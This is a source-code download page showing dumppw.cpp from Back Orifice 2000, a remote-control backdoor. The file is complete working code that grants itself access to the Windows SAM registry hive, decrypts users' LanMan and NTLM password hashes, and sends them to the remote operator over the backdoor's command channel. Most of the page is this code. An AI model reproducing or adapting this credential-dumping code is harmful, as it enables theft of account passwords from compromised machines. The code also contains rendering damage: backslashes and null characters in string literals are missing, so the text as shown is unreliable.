开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
dumppw.cpp
资源名称：bo2ksrc.zip　[点击查看]
上传用户：jinandeyu
上传日期：2007-01-05
资源大小：620k
文件大小：17k
源码类别：

远程控制编程

开发平台：

WINDOWS

dumppw.cpp：源码内容
  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  4.     This program is free software; you can redistribute it and/or modify
  5.     it under the terms of the GNU General Public License as published by
  6.     the Free Software Foundation; either version 2 of the License, or
  7.     (at your option) any later version.
  9.     This program is distributed in the hope that it will be useful,
  10.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  11.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  12.     GNU General Public License for more details.
  14.     You should have received a copy of the GNU General Public License
  15.     along with this program; if not, write to the Free Software
  16.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  18. The author of this program may be contacted at dildog@l0pht.com. */
  20. // DumpPW - Thanks to Jeremy Allison for pwdump, it was
  21. //          what this was based on.
  23. #include <windows.h>
  24. #include <stdarg.h>
  25. #include <auth.h>
  26. #include <iohandler.h>
  27. #include <encryption.h>
  28. #include <commandloop.h>
  29. #include <functions.h>
  31. DWORD hexstrtoul(char *str)
  32. {
  33. DWORD val;
  34. int i;
  35. char c1;
  37. val=0;
  39. for(i=0;i<8;i++) {
  40. if(*str=='') break;
  42. c1=*str++;
  44. if(c1>='A' && c1<='F') c1=(c1-'A')+0xA;
  45. else if(c1>='a' && c1<='f') c1=(c1-'a')+0xA;
  46. else if(c1>='0' && c1<='9') c1=(c1-'0');
  48. val<<=4;
  49. val|=c1;
  50. }
  52. return val;
  53. }
  56. //
  57. // Utility function to get allocate a SID from a name.
  58. // Looks on local machine. SID is allocated with malloc
  59. // and must be freed by the caller.
  60. // Returns TRUE on success, FALSE on fail.
  61. //
  63. static BOOL get_sid(const char *name, SID **ppsid)
  64. {
  65. SID_NAME_USE sid_use;
  66. char *domain;
  67. DWORD sid_size = 0;
  68. DWORD dom_size = 0;
  70. *ppsid = 0;
  71. if(pLookupAccountName(0, name, 0, &sid_size, 0, &dom_size, &sid_use) == 0) {
  72. if(GetLastError() != ERROR_INSUFFICIENT_BUFFER) return FALSE;
  73. }
  75. *ppsid = (SID *)malloc(sid_size);
  76. domain = (char *)malloc(dom_size);
  77. if(*ppsid == 0 || domain == 0) {
  78. if(*ppsid) free(*ppsid);
  79. if(domain) free(domain);
  80. *ppsid = 0;
  81. return FALSE;
  82. }
  84. if(pLookupAccountName(0, name, *ppsid, &sid_size, domain, &dom_size, &sid_use)==0) {
  85. free(*ppsid);
  86. free(domain);
  87. *ppsid = 0;
  88. return FALSE;
  89. }
  91. free(domain);
  92. return TRUE;
  93. }
  95. //
  96. // Utility function to setup a security descriptor
  97. // from a varargs list of char *name followed by a DWORD access
  98. // mask. The access control list is allocated with malloc
  99. // and must be freed by the caller.
  100. // returns TRUE on success, FALSE on fail.
  101. //
  103. static BOOL __cdecl create_sd_from_list( SECURITY_DESCRIPTOR *sdout, int num, ...)
  104. {
  105. va_list ap;
  106. SID **sids = 0;
  107. char *name;
  108. DWORD amask;
  109. DWORD acl_size;
  110. PACL pacl = 0;
  111. int i;
  113. if((sids=(SID **)malloc(sizeof(SID *)*num))==0) return FALSE;
  115. acl_size = num * (sizeof(ACL) + sizeof(ACCESS_ALLOWED_ACE) + sizeof(DWORD));
  117. // Collect all the SID's
  119. va_start( ap, num);
  120. for(i=0;i<num;i++) {
  121. name = va_arg( ap, char *);
  122. amask = va_arg(ap, DWORD);
  123. if(get_sid( name, &sids[i]) == FALSE) goto cleanup;
  124. acl_size += pGetLengthSid(sids[i]);
  125. }
  126. va_end(ap);
  129. if((pacl = (PACL)malloc(acl_size)) == 0) goto cleanup;
  131. if(pInitializeSecurityDescriptor( sdout, SECURITY_DESCRIPTOR_REVISION) == FALSE) goto cleanup;
  133. if(pInitializeAcl( pacl, acl_size, ACL_REVISION) == FALSE) goto cleanup;
  135. va_start(ap, num);
  136. for( i = 0; i < num; i++) {
  137. ACE_HEADER *ace_p;
  138. name = va_arg( ap, char *);
  139. amask = va_arg( ap, DWORD);
  140. if(pAddAccessAllowedAce( pacl, ACL_REVISION, amask, sids[i]) == FALSE) goto cleanup;
  142. // Make sure the ACE is inheritable
  143. if(pGetAce( pacl, 0, (LPVOID *)&ace_p) == FALSE) goto cleanup;
  145. ace_p->AceFlags |= ( CONTAINER_INHERIT_ACE | OBJECT_INHERIT_ACE);
  146. }
  148. // Add the ACL into the sd
  150. if(pSetSecurityDescriptorDacl( sdout, TRUE, pacl, FALSE) == FALSE) goto cleanup;
  152. for( i = 0; i < num; i++) {
  153. if(sids[i]) free(sids[i]);
  154. }
  156. free(sids);
  158. return TRUE;
  160. cleanup:
  162. if(sids) {
  163. for( i = 0; i < num; i++) {
  164. if(sids[i]) free(sids[i]);
  165. }
  166. free(sids);
  167. }
  168. if(pacl) free(pacl);
  169. return FALSE;
  170. }
  173. //
  174. // Function to go over all the users in the SAM and set an ACL
  175. // on them.
  176. //
  178. static int set_userkeys_security( HKEY start, const char *path, SECURITY_DESCRIPTOR *psd, 
  179.  HKEY *return_key)
  180. {
  181. HKEY key;
  182. DWORD err;
  183. char usersid[128];
  184. DWORD indx = 0;
  186. // Open the path and enum all the user keys - setting the same security on them.
  188. if((err=RegOpenKeyEx(start,path,0,KEY_ENUMERATE_SUB_KEYS,&key))!=ERROR_SUCCESS) return -1;
  190. // Now enumerate the subkeys, setting the security on them all.
  191. do {
  192. DWORD size;
  193. FILETIME ft;
  195. size=sizeof(usersid);
  196. err=RegEnumKeyEx(key,indx,usersid,&size,0,0,0,&ft);
  197. if(err==ERROR_SUCCESS) {
  198. HKEY subkey;
  200. indx++;
  201. if((err=RegOpenKeyEx(key,usersid,0,WRITE_DAC,&subkey))!=ERROR_SUCCESS) {
  202. RegCloseKey(key);
  203. return -1;
  204. }
  206. if((err=pRegSetKeySecurity(subkey,DACL_SECURITY_INFORMATION,psd))!=ERROR_SUCCESS) {
  207. RegCloseKey(subkey);
  208. RegCloseKey(key);
  209. return -1;
  210. }
  211. RegCloseKey(subkey);
  212. }
  213. } while(err==ERROR_SUCCESS);
  215. if(err!=ERROR_NO_MORE_ITEMS) {
  216. RegCloseKey(key);
  217. return -1;
  218. }
  219. if(return_key==0) RegCloseKey(key);
  220. else *return_key=key;
  221. return 0;
  222. }
  224. //
  225. // Function to travel down the SAM security tree in the registry and restore
  226. // the correct ACL on them. Returns 0 on success. -1 on fail.
  227. //
  229. static int restore_sam_tree_access( HKEY start )
  230. {
  231. char path[128];
  232. char AdminGroupName[128];
  233. char *p;
  234. int i;
  235. HKEY key;
  236. DWORD err;
  237. SECURITY_DESCRIPTOR sd;
  238. DWORD admin_mask;
  240. admin_mask = WRITE_DAC | READ_CONTROL;
  242. lstrcpy(AdminGroupName, "Administrators");
  244. if(!create_sd_from_list( &sd, 2, "SYSTEM", GENERIC_ALL,AdminGroupName, admin_mask)) return -1;
  246. lstrcpy(path,"SECURITY\SAM\Domains\Account\Users");
  248. // Remove the security on the user keys first.
  250. if(set_userkeys_security( start, path, &sd, 0)!=0) return -1;
  252. // now go up the path, restoring security
  254. do {
  255. if((err=RegOpenKeyEx(start,path,0,WRITE_DAC,&key)) != ERROR_SUCCESS) return -1;
  257. if((err=pRegSetKeySecurity( key, DACL_SECURITY_INFORMATION,&sd)) != ERROR_SUCCESS) {
  258. RegCloseKey(key);
  259. return  -1;
  260. }
  261. RegCloseKey(key);
  262. p=path+(lstrlen(path)-1);
  263. for(i=(lstrlen(path)-1);i>=0;i--) {
  264. if(*p=='\') { *p=0; break; }
  265. }
  266. } while(i!=-1);
  268. return 0;
  269. }
  271. //
  272. // Function to travel the security tree and add Administrators
  273. // access as WRITE_DAC, READ_CONTROL and READ.
  274. // Returns 0 on success. -1 on fail if no security was changed,
  275. // -2 on fail if security was changed.
  276. //
  278. static int set_sam_tree_access( HKEY start, HKEY *return_key)
  279. {
  280. char path[128];
  281. char *p;
  282. char AdminGroupName[128];
  283. HKEY key;
  284. DWORD err;
  285. BOOL security_changed = FALSE;
  286. SECURITY_DESCRIPTOR sd;
  287. DWORD admin_mask;
  288. BOOL finished = FALSE;
  290. admin_mask = WRITE_DAC | READ_CONTROL | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS;
  292. lstrcpy(AdminGroupName, "Administrators");
  294. if(!create_sd_from_list( &sd, 2, "SYSTEM", GENERIC_ALL, AdminGroupName, admin_mask)) return -1;
  296. lstrcpy( path, "SECURITY\SAM\Domains\Account\Users");
  298. p=path;
  299. do {
  300. while(*p!='') {
  301. if(*p=='\') break;
  302. p++;
  303. }
  304. if(*p=='') finished=TRUE;
  305. else *p='';
  307. if((err=RegOpenKeyEx( start, path, 0, WRITE_DAC, &key))!=ERROR_SUCCESS) {
  308. return(security_changed ? -2: -1);
  309. }
  310. if((err=pRegSetKeySecurity( key, DACL_SECURITY_INFORMATION, &sd)) != ERROR_SUCCESS) {
  311. RegCloseKey(key);
  312. return(security_changed ? -2: -1);
  313. }
  314. security_changed = TRUE;
  315. RegCloseKey(key);
  317. if(!finished) {*p='\'; p++;}
  318. } while( !finished );
  321. if(set_userkeys_security( start, path, &sd, &key) != 0) return -2;
  322. if(return_key==0) RegCloseKey(key);
  323. else *return_key = key;
  325. return 0;
  326. }
  328. // 
  329. // Function to get a little-endian int from an offset into
  330. // a byte array.
  331. //
  333. static int get_int( BYTE *array )
  334. {
  335. return((array[0]&0xff) + ((array[1]<<8)&0xff00) +
  336.   ((array[2]<<16)&0xff0000) + ((array[3]<<24)&0xff000000));
  337. }
  339. //
  340. // Function to convert the RID to the first decrypt key.
  341. //
  343. static void set_sid_key1(CEncryptionEngine *pCrypt, unsigned long sid)
  344. {
  345. unsigned char s[7];
  347. s[0] = (unsigned char)(sid & 0xFF);
  348. s[1] = (unsigned char)((sid>>8) & 0xFF);
  349. s[2] = (unsigned char)((sid>>16) & 0xFF);
  350. s[3] = (unsigned char)((sid>>24) & 0xFF);
  351. s[4] = s[0];
  352. s[5] = s[1];
  353. s[6] = s[2];
  355. pCrypt->SetDecryptKey((char *)s);
  356. }
  358. //
  359. // Function to convert the RID to the second decrypt key.
  360. //
  362. static void set_sid_key2(CEncryptionEngine *pCrypt, unsigned long sid)
  363. {
  364. unsigned char s[7];
  366. s[0] = (unsigned char)((sid>>24) & 0xFF);
  367. s[1] = (unsigned char)(sid & 0xFF);
  368. s[2] = (unsigned char)((sid>>8) & 0xFF);
  369. s[3] = (unsigned char)((sid>>16) & 0xFF);
  370. s[4] = s[0];
  371. s[5] = s[1];
  372. s[6] = s[2];
  374. pCrypt->SetDecryptKey((char *)s);
  375. }
  377. //
  378. // Function to split a 'V' entry into a users name, passwords and comment.
  379. //
  381. static int __cdecl check_vp(BYTE *vp, int vp_size, char **username, char **fullname,
  382. char **comment, char **homedir,
  383. BYTE *lanman,int *got_lanman,
  384. BYTE *md4,  int *got_md4,
  385. DWORD rid
  386. )
  387. {
  388. int username_offset = get_int(vp + 0xC);
  389. int username_len = get_int(vp + 0x10); 
  390. int fullname_offset = get_int(vp + 0x18);
  391. int fullname_len = get_int(vp + 0x1c);
  392. int comment_offset = get_int(vp + 0x24);
  393. int comment_len = get_int(vp + 0x28);
  394. int homedir_offset = get_int(vp + 0x48);
  395. int homedir_len = get_int(vp + 0x4c);
  396. int pw_offset = get_int(vp + 0x9c);
  398. *username = 0;
  399. *fullname = 0;
  400. *comment = 0;
  401. *homedir = 0;
  402. *got_lanman = 0;
  403. *got_md4 = 0;
  405. if(username_len < 0 || username_offset < 0 || comment_len < 0 ||
  406. fullname_len < 0 || homedir_offset < 0 ||
  407. comment_offset < 0 || pw_offset < 0)
  408. return -1;
  409. username_offset += 0xCC;
  410. fullname_offset += 0xCC;
  411. comment_offset += 0xCC;
  412. homedir_offset += 0xCC;
  413. pw_offset += 0xCC;
  415. if((*username = (char *)malloc(username_len + 1)) == 0) {
  416. return -1;
  417. }
  418. if((*fullname = (char *)malloc(fullname_len + 1)) == 0) {
  419. free(*username);
  420. *username = 0;
  421. return -1;
  422. }
  423. if((*comment = (char *)malloc(comment_len + 1)) == 0) {
  424. free(*username);
  425. *username = 0;
  426. free(*fullname);
  427. *fullname = 0;
  428. return -1;
  429. }
  430. if((*homedir = (char *)malloc(homedir_len + 1)) == 0) {
  431. free(*username);
  432. *username = 0;
  433. free(*fullname);
  434. *fullname = 0;
  435. free(*comment);
  436. *comment = 0;
  437. return -1;
  438. }
  440. int nNumChars;
  442. nNumChars=username_len/sizeof(wchar_t);
  443. WideCharToMultiByte(CP_ACP,0,(wchar_t *)(vp + username_offset), nNumChars, *username, nNumChars, NULL ,NULL);
  444. (*username)[nNumChars] = 0;
  446. nNumChars=fullname_len/sizeof(wchar_t);
  447. WideCharToMultiByte(CP_ACP,0,(wchar_t *)(vp + fullname_offset), nNumChars, *fullname, nNumChars, NULL ,NULL);
  448. (*fullname)[nNumChars] = 0;
  450. nNumChars=comment_len/sizeof(wchar_t);
  451. WideCharToMultiByte(CP_ACP,0,(wchar_t *)(vp + comment_offset), nNumChars, *comment, nNumChars, NULL ,NULL);
  452. (*comment)[nNumChars] = 0;
  454. nNumChars=homedir_len/sizeof(wchar_t);
  455. WideCharToMultiByte(CP_ACP,0,(wchar_t *)(vp + homedir_offset), nNumChars, *homedir, nNumChars, NULL ,NULL);
  456. (*homedir)[nNumChars] = 0;
  458. if(pw_offset >= vp_size) {
  459. // No password
  460. *got_lanman = 0;
  461. *got_md4 = 0;
  462. return 0;
  463. }
  465. // Check that the password offset plus the size of the
  466. //  lanman and md4 hashes fits within the V record.
  468. if(pw_offset + 32 > vp_size) {
  469. // Account disabled
  470. *got_lanman = -1;
  471. *got_md4 = -1;
  472. return 0;
  473. }
  475. // Get DES Engine
  476. ENCRYPTION_ENGINE *eng=g_pEncryptionHandler->GetEngineByID("DES");
  477. if(eng==NULL) {
  478. *got_lanman = -1;
  479. *got_md4 = -1;
  480. return 0;
  481. }
  483. CEncryptionEngine crypt(eng);
  484. crypt.Startup();
  486. // Get the two decrypt keys.
  487. BYTE *pBlock;
  488. int nBlockLen;
  490. vp += pw_offset;
  492. // Set 'first half key'
  493. set_sid_key1(&crypt,rid);
  495. // First half of lanman hash
  496. pBlock=crypt.Decrypt(vp,8,&nBlockLen);
  497. memcpy(lanman,pBlock,8);
  498. crypt.Free(pBlock);
  500. // First half of ntlm hash
  501. pBlock=crypt.Decrypt(vp+16,8,&nBlockLen);
  502. memcpy(md4,pBlock,8);
  503. crypt.Free(pBlock);
  505. // Set 'second half key'
  506. set_sid_key2(&crypt,rid);
  508. // Second half of lanman hash
  509. pBlock=crypt.Decrypt(vp+8,8,&nBlockLen);
  510. memcpy(&lanman[8],pBlock,8);
  511. crypt.Free(pBlock);
  513. // First half of ntlm hash
  514. pBlock=crypt.Decrypt(vp+24,8,&nBlockLen);
  515. memcpy(&md4[8],pBlock,8);
  516. crypt.Free(pBlock);
  518. crypt.Shutdown();
  520. *got_lanman = 1;
  521. *got_md4 = 1;
  522. return 0;
  523. }
  525. // 
  526. // Function to strip out any ':' or 'n', 'r' from a text
  527. // string.
  528. //
  530. static void strip_text( char *p )
  531. {
  532. while(*p!='') {
  533. if(*p == ':') *p='_';
  534. else if(*p == 'n') *p='_';
  535. else if(*p == 'r') *p='_';
  536. p++;
  537. }
  538. }
  540. //
  541. // Function to dump a users smbpasswd entry onto stdout.
  542. // Returns 0 on success, -1 on fail.
  543. //
  545. static int __cdecl printout_smb_entry(CAuthSocket *cas_from, int comid, HKEY user, DWORD rid )
  546. {
  547. DWORD err;
  548. DWORD type;
  549. DWORD size = 0;
  550. BYTE *vp;
  551. BYTE lanman[16];
  552. BYTE md4_hash[16];
  553. char *username;
  554. char *fullname;
  555. char *comment;
  556. char *homedir;
  557. int got_lanman;
  558. int got_md4;
  560. // Find out how much space we need for the 'V' value.
  562. if((err=RegQueryValueEx( user, "V", 0, &type, 0, &size)) != ERROR_SUCCESS) return -1;
  563. if((vp=(BYTE *)malloc(size)) == 0) return -1;
  565. if((err=RegQueryValueEx( user, "V", 0, &type, (LPBYTE)vp, &size))!=ERROR_SUCCESS) {
  566. free(vp);
  567. return -1;
  568. }
  570. // Check heuristics
  571. if(check_vp(vp, size, &username, &fullname, &comment, &homedir, lanman, &got_lanman, md4_hash, &got_md4, rid) != 0) {
  572. free(vp);
  573. return 0;
  574. }
  576. // Ensure username of comment don't have any nasty suprises
  577. // for us such as an embedded ':' or 'n' - see multiple UNIX
  578. // passwd field update security bugs for details...
  580. strip_text( username );
  581. strip_text( fullname );
  582. strip_text( comment );
  584. // If homedir contains a drive letter this mangles it - but it protects
  585. // the integrity of the smbpasswd file.
  586. strip_text( homedir );
  588. char svLanmanText[33];
  589. if(got_lanman>0) {
  590. wsprintf(svLanmanText,"%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X", 
  591. lanman[0],lanman[1],lanman[2],lanman[3],lanman[4],lanman[5],lanman[6],lanman[7],
  592. lanman[8],lanman[9],lanman[10],lanman[11],lanman[12],lanman[13],lanman[14],lanman[15]);
  593. } else {
  594. if(got_lanman==-1) lstrcpy(svLanmanText,"DISABLED");
  595. else lstrcpy(svLanmanText,"NO PASSWORD");
  596. }
  598. char svNTLMText[33];
  599. if(got_md4>0) {
  600. wsprintf(svNTLMText,"%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X", 
  601. md4_hash[0],md4_hash[1],md4_hash[2],md4_hash[3],md4_hash[4],md4_hash[5],md4_hash[6],md4_hash[7],
  602. md4_hash[8],md4_hash[9],md4_hash[10],md4_hash[11],md4_hash[12],md4_hash[13],md4_hash[14],md4_hash[15]);
  603. } else {
  604. if(got_md4==-1) lstrcpy(svNTLMText,"DISABLED");
  605. else lstrcpy(svNTLMText,"NO PASSWORD");
  606. }
  608. char *pBuffer;
  609. int nBufLen;
  611. nBufLen=64+lstrlen(username)+lstrlen(svLanmanText)+lstrlen(svNTLMText)+lstrlen(fullname)+lstrlen(comment)+lstrlen(homedir);
  612. pBuffer=(char *)malloc(nBufLen);
  613. if(pBuffer==NULL) {
  614. free(username);
  615. free(fullname);
  616. free(comment);
  617. free(homedir);
  618. free(vp);
  619. return -1;
  620. }
  622. wsprintf(pBuffer,"%s:%d:%s:%s:%s,%s:%sn", 
  623. username, 
  624. rid,
  625. svLanmanText,
  626. svNTLMText,
  627. fullname,
  628. comment,
  629. homedir);
  631. IssueAuthCommandReply(cas_from,comid,1,pBuffer);
  632. free(pBuffer);
  634. free(username);
  635. free(fullname);
  636. free(comment);
  637. free(homedir);
  638. free(vp);
  639. return 0;
  640. }
  642. //
  643. // Function to go through all the user SID's - dumping out
  644. // their SAM values. Returns 0 on success, -1 on fail.
  645. //
  647. static int enumerate_users(CAuthSocket *cas_from, int comid, HKEY key)
  648. {
  649. DWORD indx = 0;
  650. DWORD err;
  651. DWORD rid;
  652. char usersid[128];
  654. do {
  655. DWORD size;
  656. FILETIME ft;
  658. size = sizeof(usersid);
  659. err = RegEnumKeyEx( key, indx, usersid, &size, 0, 0, 0, &ft);
  660. if(err == ERROR_SUCCESS) {
  661. HKEY subkey;
  663. indx++;
  664. if((err=RegOpenKeyEx( key, usersid, 0, KEY_QUERY_VALUE, &subkey))!=ERROR_SUCCESS) {
  665. RegCloseKey(key);
  666. return -1;
  667. }
  669. rid = hexstrtoul(usersid);
  671. // Hack as we know there is a Names key here
  672. if(rid != 0) {
  673. if(printout_smb_entry(cas_from, comid, subkey, rid ) != 0) {
  674. RegCloseKey(subkey);
  675. return -1;
  676. }
  677. }
  678. RegCloseKey(subkey);
  679. }
  680. } while(err == ERROR_SUCCESS);
  682. if(err != ERROR_NO_MORE_ITEMS) {
  683. RegCloseKey(key);
  684. return -1;
  685. }
  686. return 0;
  687. }
  689. int DumpPasswordHashes(CAuthSocket *cas_from, int comid)
  690. {
  691. HKEY start_key = HKEY_LOCAL_MACHINE;
  692. HKEY users_key;
  693. int err;
  695. // 
  696. // We need to get to HKEY_LOCAL_MACHINESECURITYSAMDomainsAccountUsers.
  697. // The security on this key normally doesn't allow Administrators
  698. // to read - we need to add this.
  699. //
  701. if((err=set_sam_tree_access(start_key,&users_key))!=0) {
  702. if(err==-2) restore_sam_tree_access(start_key);
  703. return -1;
  704. }
  706. // Print the users SAM entries in smbpasswd format onto stdout.
  707. enumerate_users(cas_from, comid, users_key);
  708. RegCloseKey(users_key);
  710. IssueAuthCommandReply(cas_from, comid, 0, "Finished collecting user hashes.n");
  712. // reset the security on the SAM
  713. restore_sam_tree_access(start_key);
  714. if(start_key!=HKEY_LOCAL_MACHINE) RegCloseKey(start_key);
  716. IssueAuthCommandReply(cas_from, comid, 0, NULL);
  718. return 0;
  719. }